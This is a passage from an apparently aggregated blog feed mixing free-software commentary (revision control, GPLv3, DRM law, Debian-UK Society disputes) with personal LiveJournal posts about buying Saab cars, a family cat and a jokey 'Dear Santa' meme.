buy some books that I wanted off my amazon wishlist if I did it for her. <br /><p><br />I almost wish I hadn't started now but at least I can almost manage by listening to a few minutes worth of video and then having a break for a few minutes and then starting again. <br /><p><br />Anyhow, am I alone in this irrational fear of my own voice? (well, it isn't a fear of my own voice, just it sounds wrong which annoys me intensely... although I do a double cringe when I hear myself say something stupid on the tape) or do I share this trait with many other people?

"All revision control systems suck. This one just sucks less."

That's roughly what I'll say when I find one worth it. I've used rcs, cvs, svn, prcs, tla, arx, monotone and probably some I've forgotten.

They all suck, in different ways. I'm now really reluctant to install a new revision control system unless there's a clear benefit.

Matthew Palmer:

"Subversion is the One True Revision Control System and we should all just Stop Worrying and Learn To Love The Handcuffs"

Current target of my wrath is subversion, the lardy cake of revision controls. Over 5 times the footprint of CVS gets you atomic commits, but similar design problems with centralised servers and corruptable roots. Server choice is either a pserver-look one or an apache server with all the trimmings. The licence isn't even GPL-compatible, so forget about neat integration into some editors and development tools.

Finally, if CVS is "extremely dead" despite its last release in October 2005, then SVN must be buried and rotting because it hasn't released since August.

I tend to prefer distributed systems, especially when done well with standard protocols so that I can copy the archive somewhere close to me and work with it at relatively high speed, or off-line. It also gives the benefit that I merge when I want to, rather than being forced to choose between commit and branch. Centralised systems seem to make branching needlessly fiddly.

Beyond that, I strongly prefer a system which can generate tarballs and patches (as far as possible) so that the rest of the world doesn't have to install the binaries (even if they can). That's about the base level of compatibility for now and any new tool should at least try to support it, even if the export loses some information.

(I'm currently using a small shell script which just automates tarballs and patches, to help me move between my two computers here. I know it's only a 90% solution, but it's one I understand and can put some faith in. I need to have faith in my RCS. I like little less than losing work. Next step is to automate updates and merges, rather than doing them by hand.)

Well, Georg Greve says he's heard my concerns about the GPLv3. Georg's a good guy. I wonder whether FSF will act on them and open up the GPLv3 process.

I note Georg's urging people to Say No to Vienna Manipulations which is interesting, given the structural similarities between the Vienna and GPLv3 processes...

Reading old email can be entertaining sometimes:

"I've done this before, in various forms, and most of the time it follows the same predictable route: 25% of the time you get a really good committee and it's a blast for all involved; 25% you get a diabolical committee and it stands a chance of dying; half the time you get an average committee and it continues as it was before. The whole "committee" idea has some fairly major pitfalls to avoid: cliques, irrelevance and legality to name but three. [...] I think we should NOT form a committee."

-- Me, to alug, in April 1999

which makes all the crap from Debian-UK Society zealots like:

"While people like MJ Ray like bureaucratic bondage[0], it was felt by everyone else that the best constitution would be the simplest possible."

-- Scott James Remnant, to debian-project, in August 2005

even more obviously laughable. I didn't want a complicated constitution. I want either a minimally-complete constitution, or not to join it. They allow neither.

Annoyingly, the Debian-UK Society is still claiming many DDs became members without consenting (which violates article 20 of the universal declaration of human rights), still seem to have permission to use the "Debian" trademark and still seem to be a business selling CDs and t-shirts. Violating a human right may mean they're breaking our Human Rights Act - quite remarkable for a small club. Also, I've seen nothing that suggests that they have notified the Inland Revenue, which I think can get them fined lots, so donations may be at risk.

Tomorrow is International Human Rights Day (which centres this year on torture). DUS is a piffling matter, so it should be easy to deal with, but there seems to be lies, bigotry and ignorance in the way.

Freedom to associate is one of the most practical human rights. It lets us act on our support or opposition to things. Defend it.

I support debian but I oppose the way it's doing business in the UK. Do you support attempted conscription into an odd-looking UK business?

<table width="500" style="border:1px solid black; background-color:white; color:black;"><tr><td><img src="http://triggur.org/dearsanta/santa.gif"><font size="6">Dear Santa...</font><br><br><b>Dear Santa,</b><br><br>This year I've been busy!<br><br>Last Tuesday I stole <span class='ljuser' style='white-space: nowrap;'><a href='http://www.livejournal.com/userinfo.bml?user=numbcow'><img src='http://stat.livejournal.com/img/userinfo.gif' alt='[info]' width='17' height='17' style='vertical-align: bottom; border: 0;' /></a><a href='http://www.livejournal.com/users/numbcow/'><b>numbcow</b></a></span>'s purse <font size="-3" color="gray">(-30 points)</font>. Last Friday I pushed <span class='ljuser' style='white-space: nowrap;'><a href='http://www.livejournal.com/userinfo.bml?user=therealdrhyde'><img src='http://stat.livejournal.com/img/userinfo.gif' alt='[info]' width='17' height='17' style='vertical-align: bottom; border: 0;' /></a><a href='http://www.livejournal.com/users/therealdrhyde/'><b>therealdrhyde</b></a></span> in the mud <font size="-3" color="gray">(-17 points)</font>. In January I put gum in <span class='ljuser' style='white-space: nowrap;'><a href='http://www.livejournal.com/userinfo.bml?user=wildduckling'><img src='http://stat.livejournal.com/img/userinfo.gif' alt='[info]' width='17' height='17' style='vertical-align: bottom; border: 0;' /></a><a href='http://www.livejournal.com/users/wildduckling/'><b>wildduckling</b></a></span>'s hair <font size="-3" color="gray">(-12 points)</font>. In August I set <span class='ljuser' style='white-space: nowrap;'><a href='http://www.livejournal.com/userinfo.bml?user=dpash'><img src='http://stat.livejournal.com/img/userinfo.gif' alt='[info]' width='17' height='17' style='vertical-align: bottom; border: 0;' /></a><a href='http://www.livejournal.com/users/dpash/'><b>dpash</b></a></span>'s puppy on fire <font size="-3" color="gray">(-66 points)</font>. In June I gave <span class='ljuser' style='white-space: nowrap;'><a href='http://www.livejournal.com/userinfo.bml?user=lordmuck'><img src='http://stat.livejournal.com/img/userinfo.gif' alt='[info]' width='17' height='17' style='vertical-align: bottom; border: 0;' /></a><a href='http://www.livejournal.com/users/lordmuck/'><b>lordmuck</b></a></span> a life-saving blood transfusion <font size="-3" color="gray">(50 points)</font>. <br><br>Overall, I've been <b>naughty</b> <font size="-3" color="gray">(-75 points)</font>. For Christmas I deserve <b>a spanking</b>!<br><br><blockquote>Sincerely,<br>quinophex</blockquote></td></tr></table><br><form action="http://triggur.org/dearsanta/">Write your letter to Santa! Enter your LJ username:<input type="text" name="uname" size="20"><input type="submit" value="Write Santa!"></form>

The All-Party Internet Group (APIG) will conduct an inquiry into Digital Rights Management and invites written submissions of 1000 words or less by 21 December.

This is a great chance to make legislators think about the problems introduced by the recent ill-considered DRM laws and we can offer them some possible improvements. I think I will be asking for:

1. establishment of "fair circumvention" when DRM is being used to restrict what should be fair dealing or other vital acts - you can't make DRM systems "fail safe" but you can give some hope of recovering after they "fail closed";

2. legislation to ensure that DRM system owners are held responsible for computer misuse (Sony?), privacy invasion and monopoly effects resulting from their DRM systems, which will help limit distortion;

3. requiring collecting societies to allow members to leave, rather than letting us see more reports about why some artists aren't using liberal licensing yet.

If you can write a structured response to some or all of their questions, please do so.

At worst, let's hope we can avoid the likes of the recent French proposal that could ban free software here...

(Part of this item first appeared in an email to the fsfe-uk list on 5 December.)

I've posted a translation of an easier to read article about the proposed DADVSI law (source: ffii.fr) which might help more people understand what the complaint is. Here's how I read it but I am not a lawyer, much less French. (Vive la Wallonie...)

I was too tired to do this really, but I wrote a translation of an article about the French anti-free software law which I mentioned earlier. So, remember: E&OE, no refunds, no warranty.

On the first day of Christmas month, GPLv3 sent to me: three corporate counsels two FSF spokesmen, a research corporation director and a lawyer in a pear tree.

No community projects support GPLv3? Were they excluded or did they refuse? If GPLv3 is a similar corporation-placater to the FDL, sacrificing freedom for sponsorship, I predict a riot. A bit of discussion about this problem here.

The proposed resolution on publishing debian-private emails both contradicts itself and may have copyright problems. At best, reject. At least, amend.

Also troubling, a claim from FSF France that new laws threaten free software developers or at least public distribution of source code. What madness is that?

Right, Xantia still not fixed... parts in the back of the Saab (finally!) but the Saab is not the same Saab that I had yesterday. I am now the proud owner of a 2.3 litre Full pressure Turbo Saab 9000 CS (200 bhp!) which can be seen <a href="http://www.quinophex.org/saab/">here</a> after trading in the old one with <a href="http://www.hagstromsaab.co.uk/">Tom Hagstrom</a> today! <br /><p><br />It all happened after I went to take a look at another car on Thursday at Hagstroms and <a href="http://www.hagstromsaab.co.uk/journals.asp?journalistID=1">Matt</a> from Hagstrom came over to say to me "you couldn't have timed your visit any better" you should check out what just came in (referring to the new Saab 9000 just in earlier that day). After a quick test drive up/down the A11 (including more police than I have seen in a long long long time!) and a phone call to <span class='ljuser' style='white-space: nowrap;'><a href='http://www.livejournal.com/userinfo.bml?user=wildduckling'><img src='http://stat.livejournal.com/img/userinfo.gif' alt='[info]' width='17' height='17' style='vertical-align: bottom; border: 0;' /></a><a href='http://www.livejournal.com/users/wildduckling/'><b>wildduckling</b></a></span> who seemed to not be /too/ keen on the idea of a new car I decided to leave the 9000 and return the next day even though "Pete the Swede" was on his way to take a look at it.<br /><p><br />Anyhow, Friday morning I went back to Hagstrom with the 300 quid deposit as I was fairly certain I wanted to buy the car. As it happened as I was taking a second look at the car "Pete the Swede" arrived, so I was quickly ushered into the salesroom to hand over a desposit and sign some paperwork to secure the car. Anyhow, although Pete seemed a bit annoyed he still seemed like a nice guy (apparently a medical Doctor) but I had been told that he would have wanted to buy the car if I hadn't got there first!.<br /><p><br />Anyhow, woot to new cars, will perhaps try to fix the Xantia tomorrow!

• Monday 10th October, 7pm - late
• Guanabara, Parker Street, Nr. Drury Lane, London WC2
• Cost: Free
• This Cybersalon will discuss the Brazilian government's free software project and its support for copyleft at the forthcoming WSIS conference on 18-19th November in Tunis, Tunisia.
• Longer description

Outstanding Contribution to Software Development

Congratulations to the Winner: NoSoftwarePatents.com & The Foundation for a Free Information Infrastructure (FFII)

Instant Blitz Copy Fight Project

"I have a project to take a flash photo of every FACT warning I see before a film, flash b/c it lets everyone in the audience know that I'm doing it." -- Cory Doctorow

360K Floppies Were Not The Problem

This mention of closed binary file formats sounds a lot like one of the incidents that persuaded me that free software is the best way forwards.

I lost my system, but I had backups. I didn't have a backup of the unlocked version of a shareware word processor (some sort of copy-protection? I don't remember). So, I installed the original again, but the unlock code no longer worked (timed expiry) and the new owners of the shareware wouldn't/couldn't sell me an unlock code for such old software. Ow. I didn't have time to argue: I had papers to submit.

I gave up and rewrote the papers I just lost in TeX (using tex4all, IIRC). Now I mostly use groff, but I'm pretty sure I can still read and process TeX if I need to.

DreamBox 500 only 150 quid???

It can't take a hard disk, but it seems that it can NFS mount one. I don't know much about this and I'll probably continue my DIY receiver project (because I want to integrate disc and stream players), but I'm interested if anyone has a review of this. Let me know by email or trackback http://mjr.towers.org.uk/blog/tb.cgi/affd1003

Packages covered on the debian-legal list last month include:

• celestia
• cinelerra-CVS
• howtos (many but not all)
• faac
• flamerobin
• gcfilms
• ike-scan
• larn
• linux-kernel
• linuxsampler
• ntp
• Loads of php-pear stuff
• Stuff including tux images
• star
• stixfonts
• umoria
• vigra
• warzone
• wwwcount

Read more...

Sing along now:

Lands of I P Glory,
Mothers of all fees,
How shall we enforce thee,
While we're cussed wi' thee?
Wider still and wider
Shall thy bounds be set;
God, who made thee mighty,
Makes thee mightier yet.

EU IPRED 2 Alert

This beauty of anti-free-culture says:

"Member States shall ensure that all intentional infringements of an intellectual property right on a commercial scale, and attempting, aiding or abetting and inciting such infringements, are treated as criminal offences."

As the commentary says: "If we give litigators increased access to national enforcement bodies, and if we increase the harmful effects of litigation, we will encourage people to use litigation as a commercial tool in the market." Anyone for SCO UK?

USPTO proposes more international "intellectual property" rights

"The treaty language proposed for a webcasting right would create a new layer of property rights, lasting at least 50 years, for materials that are transmitted by web servers over the Internet and other networks. [...] The proposed treaty will harm the public, by imposing a costly and time-consuming thicket of rights, and will make it illegal to redistribute or copy works that are in the public domain, or which have been licensed for public distribution under a creative commons type voluntary license. "

Ok, so it turns out my wheeling and dealing got my brother another Volvo 740 with an auto box of the right type, so he can now transplant the box from the new dodgy car into the old dodgy car and he has a good car again.<br /><p><br />Also today in car related news I bought myself a 1987 Saab 9000 Turbo :D but.... it is gold (that has faded to what I can only describe as metallic beige) and it is an automatic :-/ but hey, it only cost me 200 quid, and it only needs to ferry me to and from work for a few days and it has paid for itself. Tomorrow I will do a full appraisal on it and work out if it is worth changing fluids/doing a service on it, or just run it until it dies and get the Xantia Activa sorted. <br /><p><br />For the days weirdness, we had 3 cats run out in front of the car while driving to Dereham to look at this car, at least 2 of them had some form of crippled back legs. Was most odd. Then while doing the deal on the car, passing over used 20 quid notes and negotiating a price I noticed a black cat that looked like Tigger lurking in the edge of the car park. The way the cat walked away was exactly like how tigger moved when he was much younger and the way he kept his back from us was very, well suspicious. What got me... was that me, <span class='ljuser' style='white-space: nowrap;'><a href='http://www.livejournal.com/userinfo.bml?user=wildduckling'><img src='http://stat.livejournal.com/img/userinfo.gif' alt='[info]' width='17' height='17' style='vertical-align: bottom; border: 0;' /></a><a href='http://www.livejournal.com/users/wildduckling/'><b>wildduckling</b></a></span> and my dad all saw the cat, but none of us mentioned it until after we got back home. Although, the entire family keeps seeing Tigger out of the corner of our eyes etc. <br /><p><br />To top that weirdness, we also noticed lots of wildlife playing chicken with cars today, including one bit that I can claim responsibility for killing. After buying the Saab, I took <span class='ljuser' style='white-space: nowrap;'><a href='http://www.livejournal.com/userinfo.bml?user=wildduckling'><img src='http://stat.livejournal.com/img/userinfo.gif' alt='[info]' width='17' height='17' style='vertical-align: bottom; border: 0;' /></a><a href='http://www.livejournal.com/users/wildduckling/'><b>wildduckling</b></a></span> for a drive to Roughton so she could check the car out (she travelled back with my dad and Bea after I bought the car in case it turned out to be a dangerous heap of shit) we were passing a car coming the other way and a Pheasant jumped out of the bushes and into the oncoming car. I /think/ that the Pheasant managed to bounce of the bumper and almost fly away until it was crushed under the wheels of my Saab... and of course this was after me and my dad took the car out for a cruise to see what we felt about it when we got home, and one point I really booted it and lots of *whoooshe!* noises came from the engine as the turbo kicked in and the wheels span and suddenly the car propelled itself down the road rather quickly. At this point I was reminded of how WRC cars have launch control, and at that point I remembered that the WRC was on tele in about 3 minutes time. So I got back and watched the rally, and found out that the coverage was 15 minutes short due to the rally being cancelled 2 stages from the end due to the death of Michael Park the co-driver for Marko Martin. This was quite sad really, especially as I had been really looking forward to the rally to cheer me up after a not so wonderful week.<br /><p><br />At least I have a funky car to last me for the next couple of months to and from work :)

As part of the fallout from having the cat put to sleep was not being able to sleep very well and having a 5 month old baby who is teething I found myself awake at 5am today, after 45 minutes I decided to go and find some water at this point I realised that I had a whole stack of codes for the Walkers crisps iPod competition. So I went and sat in front of the computer entering codes for 30 minutes, and guess what. I won *another* iPod. So far we have spent far less than 10 quid on crisps (not sure what we are going to do with all the crisps, but hey) and now have won 2 iPods :)<br /><p><br />On top of that, today we went to pay <a href="http://www.hagstromsaab.co.uk/">Hagstrom Saab</a> a visit today. To speak to Tom (who I spoke to the other day) about getting ho